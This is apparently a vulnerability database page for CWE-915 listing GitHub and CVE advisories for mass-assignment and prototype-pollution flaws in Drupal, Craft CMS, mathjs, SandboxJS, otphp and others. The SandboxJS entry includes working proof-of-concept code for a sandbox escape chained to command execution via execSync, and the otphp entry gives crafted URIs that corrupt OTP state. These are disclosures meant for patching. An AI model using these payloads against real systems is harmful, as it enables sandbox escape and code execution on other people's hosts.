CWE-915
AllowedImproperly Controlled Modification of Dynamically-Determined Object Attributes
Abstraction: Base · Status: Incomplete
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
319 vulnerabilities reference this CWE, most recent first.
CVE-2020-11066 (GCVE-0-2020-11066)
Vulnerability from cvelistv5 – Published: 2020-05-13 23:15 – Updated: 2024-08-04 11:21- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
| URL | Tags |
|---|---|
| https://github.com/TYPO3/TYPO3.CMS/security/advis… | x_refsource_CONFIRM |
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GHSA-25F6-4HRW-J87C
Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 21:31Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection. This issue affects Drupal core versions: from 0.0.0 to 10.5.12, from 10.6.0 to 10.6.11, from 11.2.0 to 11.2.14, from 11.3.0 to 11.3.12, from 0.0.0 to 11.0., from 0.0.0 to 11.1..
{
"affected": [],
"aliases": [
"CVE-2026-55803"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T22:16:43Z",
"severity": "MODERATE"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection. This issue affects Drupal core versions: from 0.0.0 to 10.5.12, from 10.6.0 to 10.6.11, from 11.2.0 to 11.2.14, from 11.3.0 to 11.3.12, from 0.0.0 to 11.0.*, from 0.0.0 to 11.1.*.",
"id": "GHSA-25f6-4hrw-j87c",
"modified": "2026-07-13T21:31:18Z",
"published": "2026-07-11T00:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55803"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2026-005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-265M-7826-WJQM
Vulnerability from github – Published: 2026-08-06 20:45 – Updated: 2026-09-01 21:07Craft CMS has an authenticated remote code execution issue in the control panel element-search condition handling.
Craft cleans the outer request-controlled condition array with Component::cleanseConfig(), but Conditions::createCondition() later decodes and merges the JSON string in condition.config without re-running cleanseConfig() on the decoded/merged configuration.
Because condition.config is a JSON string during the first cleanse, Yii special config keys such as as ... and on ... can be hidden inside it. After JSON decoding, those keys reach FieldLayout object creation and are interpreted by Yii as behavior/event configuration.
The RCE is semi-blind: the trigger endpoint returns a normal JSON response, and the command output is verified via a server-side file-write side effect retrieved in a subsequent request.
Preconditions
- The attacker needs an authenticated Craft control panel session.
- A valid CSRF token is required.
Impact
An authenticated control panel user can inject Yii behavior/event configuration after Craft’s intended config cleanse boundary. In the confirmed local lab, this led to command execution as the PHP/web user.
Potential attacker impact: - Execute operating system commands as the PHP/web user. - Read Craft secrets, environment variables, and application configuration. - Access database credentials and stored site content. - Modify site content, users, and application state. - Pivot to internal services reachable from the Craft host or container. - Cause denial of service or establish persistence depending on deployment permissions.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-72778"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T20:45:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Craft CMS has an authenticated remote code execution issue in the control panel element-search condition handling.\n\nCraft cleans the outer request-controlled condition array with `Component::cleanseConfig()`, but `Conditions::createCondition()` later decodes and merges the JSON string in `condition.config` without re-running `cleanseConfig()` on the decoded/merged configuration.\n\nBecause `condition.config` is a JSON string during the first cleanse, Yii special config keys such as `as` ... and `on` ... can be hidden inside it. After JSON decoding, those keys reach FieldLayout object creation and are interpreted by Yii as behavior/event configuration.\n\nThe RCE is semi-blind: the trigger endpoint returns a normal JSON response, and the command output is verified via a server-side file-write side effect retrieved in a subsequent request.\n\n## Preconditions\n\n- The attacker needs an authenticated Craft control panel session.\n- A valid CSRF token is required.\n\n## Impact\n\nAn authenticated control panel user can inject Yii behavior/event configuration after Craft\u2019s intended config cleanse boundary. In the confirmed local lab, this led to command execution as the PHP/web user.\n\nPotential attacker impact:\n- Execute operating system commands as the PHP/web user.\n- Read Craft secrets, environment variables, and application configuration.\n- Access database credentials and stored site content.\n- Modify site content, users, and application state.\n- Pivot to internal services reachable from the Craft host or container.\n- Cause denial of service or establish persistence depending on deployment permissions.",
"id": "GHSA-265m-7826-wjqm",
"modified": "2026-09-01T21:07:23Z",
"published": "2026-08-06T20:45:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-265m-7826-wjqm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72778"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/353b5d676c88a854c9f6409ad83b837ca0c0e8da"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/789789dc9e2a4e2f2562f51aaf879fb7757d8340"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.18.2"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/5.10.6"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/craft-cms-rc1-before-authenticated-rce-via-condition-config"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS: Authenticated RCE via `condition.config` JSON cleanse bypass"
}
GHSA-29QV-4J9F-FJW5
Vulnerability from github – Published: 2026-04-16 22:38 – Updated: 2026-04-27 16:43Impact
This security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.
Patches
The issue was introduced in mathjs v13.1.1, and patched in mathjs v15.2.0.
Workarounds
There is no workaround without upgrading to v15.2.0.
References
You can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad (part of PR https://github.com/josdejong/mathjs/pull/3656).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mathjs"
},
"ranges": [
{
"events": [
{
"introduced": "13.1.1"
},
{
"fixed": "15.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40897"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:38:43Z",
"nvd_published_at": "2026-04-24T17:16:20Z",
"severity": "HIGH"
},
"details": "### Impact\nThis security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.\n\n### Patches\nThe issue was introduced in mathjs `v13.1.1`, and patched in mathjs `v15.2.0`.\n\n### Workarounds\nThere is no workaround without upgrading to `v15.2.0`.\n\n### References\nYou can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad (part of PR https://github.com/josdejong/mathjs/pull/3656).",
"id": "GHSA-29qv-4j9f-fjw5",
"modified": "2026-04-27T16:43:11Z",
"published": "2026-04-16T22:38:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/security/advisories/GHSA-29qv-4j9f-fjw5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40897"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/pull/3656"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/josdejong/mathjs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unsafe object property setter in mathjs"
}
GHSA-2CF2-2383-H4JV
Vulnerability from github – Published: 2021-05-07 16:16 – Updated: 2021-07-28 18:46querymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "querymen"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7600"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-03T19:11:22Z",
"nvd_published_at": "2020-03-12T23:15:00Z",
"severity": "MODERATE"
},
"details": "querymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.",
"id": "GHSA-2cf2-2383-h4jv",
"modified": "2021-07-28T18:46:07Z",
"published": "2021-05-07T16:16:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7600"
},
{
"type": "WEB",
"url": "https://github.com/diegohaz/querymen/commit/1987fefcb3b7508253a29502a008d5063a873cef"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-QUERYMEN-559867"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in querymen"
}
GHSA-2GG9-6P7W-6CPJ
Vulnerability from github – Published: 2026-04-03 21:44 – Updated: 2026-04-06 23:18Summary
SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.
Details
The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.
Reference: src/executor.ts#L215-L218
if (obj.isGlobal) {
throw new SandboxAccessError(
`Cannot ${op} property '${obj.prop.toString()}' of a global object`,
);
}
The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.
Reference: src/utils.ts#L84-L88
export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
for (const i in globals) {
this[i] = globals[i];
}
} as any as SandboxGlobalConstructor;
At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.
References:
- src/utils.ts#L118-L126
- src/executor.ts#L493-L518
const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);
This creates a privilege gap:
1. Direct global mutation is blocked in assignment logic.
2. A callable host function that performs arbitrary property writes is still reachable.
3. The call path does not enforce equivalent global-mutation restrictions.
4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).
In practice, the payload:
const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });
overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.
PoC
Install dependency:
npm i @nyariv/sandboxjs@0.8.35
Global write bypass with pwned marker
#!/usr/bin/env node
'use strict';
const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;
try {
try {
run('Math.random = () => 1');
console.log('Without bypass (direct assignment): unexpectedly succeeded');
} catch (err) {
console.log('Without bypass (direct assignment): blocked ->', err.message);
}
run(`this.constructor.call(Math, { random: () => 'pwned' })`);
console.log('With bypass (host Math.random()):', Math.random());
console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
} finally {
Math.random = original;
}
Expected output:
Without bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object
With bypass (host Math.random()): pwned
With bypass (fresh sandbox Math.random()): pwned
With bypass (host Math.random()) proves the sandbox changed host runtime state immediately.
With bypass (fresh sandbox Math.random()) proves the mutation persists across new sandbox instances, which shows cross-execution contamination.
Command id execution via host gadget
This second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX id command as a harmless execution marker.
#!/usr/bin/env node
'use strict';
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const run = (code) => new Sandbox().compile(code)().run();
const hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');
const originalCmd = Math.cmd;
try {
try {
run(`Math.cmd = 'id'`);
console.log('Without bypass (direct assignment): unexpectedly succeeded');
} catch (err) {
console.log('Without bypass (direct assignment): blocked ->', err.message);
}
run(`this.constructor.call(Math, { cmd: 'id' })`);
console.log('With bypass (host command source Math.cmd):', Math.cmd);
console.log(
'With bypass + host gadget execSync(Math.cmd):',
execSync(Math.cmd, { encoding: 'utf8' }).trim(),
);
} finally {
if (hadCmd) {
Math.cmd = originalCmd;
} else {
delete Math.cmd;
}
}
Expected output:
Without bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object
With bypass (host command source Math.cmd): id
With bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...
Impact
This is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34208"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:44:39Z",
"nvd_published_at": "2026-04-06T16:16:34Z",
"severity": "CRITICAL"
},
"details": "### Summary\nSandboxJS blocks direct assignment to global objects (for example `Math.random = ...`), but this protection can be bypassed through an exposed callable constructor path: `this.constructor.call(target, attackerObject)`. Because `this.constructor` resolves to the internal `SandboxGlobal` function and `Function.prototype.call` is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.\n\n### Details\nThe intended safety model relies on write-time checks in assignment operations. In `assignCheck`, writes are denied when the destination is marked global (`obj.isGlobal`), which correctly blocks straightforward payloads like `Math.random = () =\u003e 1`.\n\nReference: [`src/executor.ts#L215-L218`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L215-L218)\n\n```ts\nif (obj.isGlobal) {\n throw new SandboxAccessError(\n `Cannot ${op} property \u0027${obj.prop.toString()}\u0027 of a global object`,\n );\n}\n```\n\nThe bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is `SandboxGlobal`, implemented as a function that copies all keys from a provided object into `this`.\n\nReference: [`src/utils.ts#L84-L88`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L84-L88)\n\n```ts\nexport const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {\n for (const i in globals) {\n this[i] = globals[i];\n }\n} as any as SandboxGlobalConstructor;\n```\n\nAt runtime, global scope `this` is a `SandboxGlobal` instance (`functionThis`), so `this.constructor` resolves to `SandboxGlobal`. That constructor is reachable from sandbox code, and calls through `Function.prototype.call` are allowed by the generic call opcode path.\n\nReferences:\n- [`src/utils.ts#L118-L126`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L118-L126)\n- [`src/executor.ts#L493-L518`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L493-L518)\n\n```ts\nconst sandboxGlobal = new SandboxGlobal(options.globals);\n...\nglobalScope: new Scope(null, options.globals, sandboxGlobal),\n```\n\n```ts\nconst evl = context.evals.get(obj.context[obj.prop] as any);\nlet ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);\n```\n\nThis creates a privilege gap:\n1. Direct global mutation is blocked in assignment logic.\n2. A callable host function that performs arbitrary property writes is still reachable.\n3. The call path does not enforce equivalent global-mutation restrictions.\n4. Attacker-controlled code can choose the write target (`Math`, `JSON`, etc.) via `.call(target, payloadObject)`.\n\nIn practice, the payload:\n```js\nconst SG = this.constructor;\nSG.call(Math, { random: () =\u003e \u0027pwned\u0027 });\n```\noverwrites host `Math.random` successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.\n\n### PoC\nInstall dependency:\n\n```bash\nnpm i @nyariv/sandboxjs@0.8.35\n```\n\n#### Global write bypass with `pwned` marker\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst original = Math.random;\n\ntry {\n try {\n run(\u0027Math.random = () =\u003e 1\u0027);\n console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n } catch (err) {\n console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n }\n run(`this.constructor.call(Math, { random: () =\u003e \u0027pwned\u0027 })`);\n console.log(\u0027With bypass (host Math.random()):\u0027, Math.random());\n console.log(\u0027With bypass (fresh sandbox Math.random()):\u0027, run(\u0027return Math.random()\u0027));\n} finally {\n Math.random = original;\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027random\u0027 of a global object\nWith bypass (host Math.random()): pwned\nWith bypass (fresh sandbox Math.random()): pwned\n```\n\n`With bypass (host Math.random())` proves the sandbox changed host runtime state immediately. \n`With bypass (fresh sandbox Math.random())` proves the mutation persists across new sandbox instances, which shows cross-execution contamination.\n\n#### Command `id` execution via host gadget\n\nThis second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX `id` command as a harmless execution marker.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\n\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst hadCmd = Object.prototype.hasOwnProperty.call(Math, \u0027cmd\u0027);\nconst originalCmd = Math.cmd;\n\ntry {\n try {\n run(`Math.cmd = \u0027id\u0027`);\n console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n } catch (err) {\n console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n }\n run(`this.constructor.call(Math, { cmd: \u0027id\u0027 })`);\n console.log(\u0027With bypass (host command source Math.cmd):\u0027, Math.cmd);\n console.log(\n \u0027With bypass + host gadget execSync(Math.cmd):\u0027,\n execSync(Math.cmd, { encoding: \u0027utf8\u0027 }).trim(),\n );\n} finally {\n if (hadCmd) {\n Math.cmd = originalCmd;\n } else {\n delete Math.cmd;\n }\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027cmd\u0027 of a global object\nWith bypass (host command source Math.cmd): id\nWith bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...\n```\n\n### Impact\nThis is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.",
"id": "GHSA-2gg9-6p7w-6cpj",
"modified": "2026-04-06T23:18:19Z",
"published": "2026-04-03T21:44:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34208"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "SandboxJS: Sandbox integrity escape "
}
GHSA-2GHC-6V89-PW9J
Vulnerability from github – Published: 2021-09-14 20:25 – Updated: 2022-08-10 23:37body-parser-xml is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "body-parser-xml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3666"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-14T18:39:31Z",
"nvd_published_at": "2021-09-13T18:15:00Z",
"severity": "HIGH"
},
"details": "body-parser-xml is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027).",
"id": "GHSA-2ghc-6v89-pw9j",
"modified": "2022-08-10T23:37:49Z",
"published": "2021-09-14T20:25:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3666"
},
{
"type": "WEB",
"url": "https://github.com/fiznool/body-parser-xml/commit/d46ca622560f7c9a033cd9321c61e92558150d63"
},
{
"type": "PACKAGE",
"url": "https://github.com/fiznool/body-parser-xml"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/1-other-fiznool/body-parser-xml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "body-parser-xml vulnerable to Prototype Pollution"
}
GHSA-2JX3-65F3-XR8R
Vulnerability from github – Published: 2026-06-18 21:07 – Updated: 2026-06-18 21:07Summary
OTPHP\Factory::loadFromProvisioningUri() parses an attacker-supplied otpauth:// URI and forwards every query key to OTP::setParameter($key, $value). setParameter() resolves the name with property_exists($this, $parameter) and performs a dynamic write $this->{$parameter} = $value (src/OTP.php:196-197). Because the query keys are entirely controlled by whoever produced the URI, a URI can target the internal properties of the OTP object that are not meant to be set from a URI: parameters, issuer, label, issuer_included_as_parameter, and (on TOTP) the readonly clock. This is an instance of object property mass-assignment (CWE-915).
Impact
The Factory is documented as the entry point for third-party provisioning URIs (e.g. QR codes from Microsoft 365 / Google Authenticator). An application that loads such a URI is exposed to:
- State corruption. A URI such as
otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP¶meters[foo]=baroverwrites the whole internal$parametersarray thatcreateFromSecret()primed (period,algorithm,digits,epoch). The resulting object is silently unusable:getProvisioningUri(),getDigits(),at(),verify()then throwParameterNotFoundException. - Uncaught TypeError escaping the documented exception type. A URI such as
otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&issuer_included_as_parameter=notaboolassigns a string to a typedboolproperty and raises aTypeError. Thetry/catchinloadFromProvisioningUri()only wrapsUrl::fromString();createOTP()andpopulateOTP()run outside it, so theTypeError(andErroron the readonlyclock) escapes past the documentedInvalidProvisioningUriException, breaking callers that catch only the documented type. - Label/issuer validation bypass.
parameters[label]=hijackedstores a label into the parameters array without running thelabelvalidation callback (keyed onlabel, notparameters).getLabel()andgetParameter('label')then disagree — a confused-deputy risk.
Affected component
src/OTP.php:187-201—setParameter()dynamic property writesrc/Factory.php:50-55—populateParameters()forwarding all query keys
Proof of concept
use OTPHP\Factory;
// State corruption
$otp = Factory::loadFromProvisioningUri(
'otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP¶meters[foo]=bar',
$clock
);
$otp->getProvisioningUri(); // ParameterNotFoundException: Parameter "period" does not exist
// Uncaught TypeError
Factory::loadFromProvisioningUri(
'otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&issuer_included_as_parameter=notabool',
$clock
); // TypeError escapes InvalidProvisioningUriException
Remediation
Restrict the keys accepted from a provisioning URI to a known allow-list of public OTP parameters, and never let a URI key resolve to an internal object property via property_exists. Route all URI-sourced values through the validated parameter map only.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "spomky-labs/otphp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T21:07:41Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`OTPHP\\Factory::loadFromProvisioningUri()` parses an attacker-supplied `otpauth://` URI and forwards **every** query key to `OTP::setParameter($key, $value)`. `setParameter()` resolves the name with `property_exists($this, $parameter)` and performs a dynamic write `$this-\u003e{$parameter} = $value` (`src/OTP.php:196-197`). Because the query keys are entirely controlled by whoever produced the URI, a URI can target the internal properties of the OTP object that are not meant to be set from a URI: `parameters`, `issuer`, `label`, `issuer_included_as_parameter`, and (on TOTP) the readonly `clock`. This is an instance of object property mass-assignment (CWE-915).\n\n## Impact\n\nThe `Factory` is documented as the entry point for third-party provisioning URIs (e.g. QR codes from Microsoft 365 / Google Authenticator). An application that loads such a URI is exposed to:\n\n- **State corruption.** A URI such as `otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026parameters[foo]=bar` overwrites the whole internal `$parameters` array that `createFromSecret()` primed (`period`, `algorithm`, `digits`, `epoch`). The resulting object is silently unusable: `getProvisioningUri()`, `getDigits()`, `at()`, `verify()` then throw `ParameterNotFoundException`.\n- **Uncaught TypeError escaping the documented exception type.** A URI such as `otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026issuer_included_as_parameter=notabool` assigns a string to a typed `bool` property and raises a `TypeError`. The `try/catch` in `loadFromProvisioningUri()` only wraps `Url::fromString()`; `createOTP()` and `populateOTP()` run outside it, so the `TypeError` (and `Error` on the readonly `clock`) escapes past the documented `InvalidProvisioningUriException`, breaking callers that catch only the documented type.\n- **Label/issuer validation bypass.** `parameters[label]=hijacked` stores a label into the parameters array without running the `label` validation callback (keyed on `label`, not `parameters`). `getLabel()` and `getParameter(\u0027label\u0027)` then disagree \u2014 a confused-deputy risk.\n\n## Affected component\n\n- `src/OTP.php:187-201` \u2014 `setParameter()` dynamic property write\n- `src/Factory.php:50-55` \u2014 `populateParameters()` forwarding all query keys\n\n## Proof of concept\n\n```php\nuse OTPHP\\Factory;\n\n// State corruption\n$otp = Factory::loadFromProvisioningUri(\n \u0027otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026parameters[foo]=bar\u0027,\n $clock\n);\n$otp-\u003egetProvisioningUri(); // ParameterNotFoundException: Parameter \"period\" does not exist\n\n// Uncaught TypeError\nFactory::loadFromProvisioningUri(\n \u0027otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026issuer_included_as_parameter=notabool\u0027,\n $clock\n); // TypeError escapes InvalidProvisioningUriException\n```\n\n## Remediation\n\nRestrict the keys accepted from a provisioning URI to a known allow-list of public OTP parameters, and never let a URI key resolve to an internal object property via `property_exists`. Route all URI-sourced values through the validated parameter map only.",
"id": "GHSA-2jx3-65f3-xr8r",
"modified": "2026-06-18T21:07:41Z",
"published": "2026-06-18T21:07:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Spomky-Labs/otphp/security/advisories/GHSA-2jx3-65f3-xr8r"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/spomky-labs/otphp/GHSA-2jx3-65f3-xr8r.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/Spomky-Labs/otphp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "spomky-labs/otphp: Mass-assignment in Factory::loadFromProvisioningUri lets a hostile provisioning URI corrupt OTP state or leak an uncaught TypeError"
}
GHSA-2QPH-Q8XW-GV7Q
